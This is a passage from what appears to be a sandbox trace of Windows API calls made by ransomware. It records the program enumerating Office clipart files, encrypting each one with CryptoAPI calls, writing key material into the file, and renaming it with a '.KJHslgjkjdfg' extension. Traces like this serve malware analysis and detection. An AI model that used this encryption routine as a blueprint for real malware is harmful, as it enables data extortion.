lpNumberOfBytesWritten=0x290f270*=0x7680, lpOverlapped=0x0) returned 1 [0172.949] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.949] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7754, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.949] SetEndOfFile (hFile=0x114) returned 1 [0172.951] GetProcessHeap () returned 0x2a0000 [0172.951] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.952] GetProcessHeap () returned 0x2a0000 [0172.952] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.952] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf.kjhslgjkjdfg")) returned 1 [0172.953] CloseHandle (hObject=0x114) returned 1 [0172.953] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1338, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107450.WMF", cAlternateFileName="")) returned 1 [0172.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.954] GetProcessHeap () returned 0x2a0000 [0172.954] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.954] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.954] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.954] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.956] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.956] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.956] GetProcessHeap () returned 0x2a0000 [0172.956] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.956] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.957] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.957] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.957] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.957] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.957] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.957] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.957] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.957] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.957] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.957] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.957] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1338, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1338, lpOverlapped=0x0) returned 1 [0172.958] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1340, dwBufLen=0x1340 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1340) returned 1 [0172.958] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.958] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1340, lpOverlapped=0x0) returned 1 [0172.958] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.958] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.958] SetEndOfFile (hFile=0x114) returned 1 [0172.960] GetProcessHeap () returned 0x2a0000 [0172.960] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.960] GetProcessHeap () returned 0x2a0000 [0172.960] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.961] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf.kjhslgjkjdfg")) returned 1 [0172.962] CloseHandle (hObject=0x114) returned 1 [0172.962] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x52e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107452.WMF", cAlternateFileName="")) returned 1 [0172.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.963] GetProcessHeap () returned 0x2a0000 [0172.963] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.963] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.963] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.963] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.963] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.963] GetProcessHeap () returned 0x2a0000 [0172.963] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.963] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.963] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.963] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.965] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.965] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.965] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.965] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.965] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.965] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.965] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.965] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.965] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x52e0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x52e0, lpOverlapped=0x0) returned 1 [0172.966] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x52e0, dwBufLen=0x52e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x52e0) returned 1 [0172.966] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.966] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x52e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x52e0, lpOverlapped=0x0) returned 1 [0172.967] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.967] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x53b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.967] SetEndOfFile (hFile=0x114) returned 1 [0172.969] GetProcessHeap () returned 0x2a0000 [0172.969] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.970] GetProcessHeap () returned 0x2a0000 [0172.970] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.970] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf.kjhslgjkjdfg")) returned 1 [0172.971] CloseHandle (hObject=0x114) returned 1 [0172.971] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe8c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107456.WMF", cAlternateFileName="")) returned 1 [0172.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.971] GetProcessHeap () returned 0x2a0000 [0172.971] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.971] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.971] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.971] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.973] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.973] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.973] GetProcessHeap () returned 0x2a0000 [0172.973] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.973] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.973] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.973] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.974] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.974] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.974] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.974] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.974] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.974] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.974] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.974] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.974] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xe8c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xe8c, lpOverlapped=0x0) returned 1 [0172.974] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe90, dwBufLen=0xe90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe90) returned 1 [0172.974] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.974] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xe90, lpOverlapped=0x0) returned 1 [0172.974] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.974] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xf64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.974] SetEndOfFile (hFile=0x114) returned 1 [0172.977] GetProcessHeap () returned 0x2a0000 [0172.977] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.977] GetProcessHeap () returned 0x2a0000 [0172.977] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.977] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf.kjhslgjkjdfg")) returned 1 [0172.978] CloseHandle (hObject=0x114) returned 1 [0172.978] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdf0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107458.WMF", cAlternateFileName="")) returned 1 [0172.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.978] GetProcessHeap () returned 0x2a0000 [0172.978] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.978] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.978] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.978] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.978] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.978] GetProcessHeap () returned 0x2a0000 [0172.978] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.978] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.978] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.979] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.980] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.980] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.980] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.981] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.981] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.981] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.981] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.981] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.981] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xdf0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xdf0, lpOverlapped=0x0) returned 1 [0172.981] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xdf0, dwBufLen=0xdf0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xdf0) returned 1 [0172.981] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.981] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xdf0, lpOverlapped=0x0) returned 1 [0172.981] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.981] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.981] SetEndOfFile (hFile=0x114) returned 1 [0172.983] GetProcessHeap () returned 0x2a0000 [0172.983] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.983] GetProcessHeap () returned 0x2a0000 [0172.983] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.983] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf.kjhslgjkjdfg")) returned 1 [0172.984] CloseHandle (hObject=0x114) returned 1 [0172.985] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x258c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107468.WMF", cAlternateFileName="")) returned 1 [0172.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.985] GetProcessHeap () returned 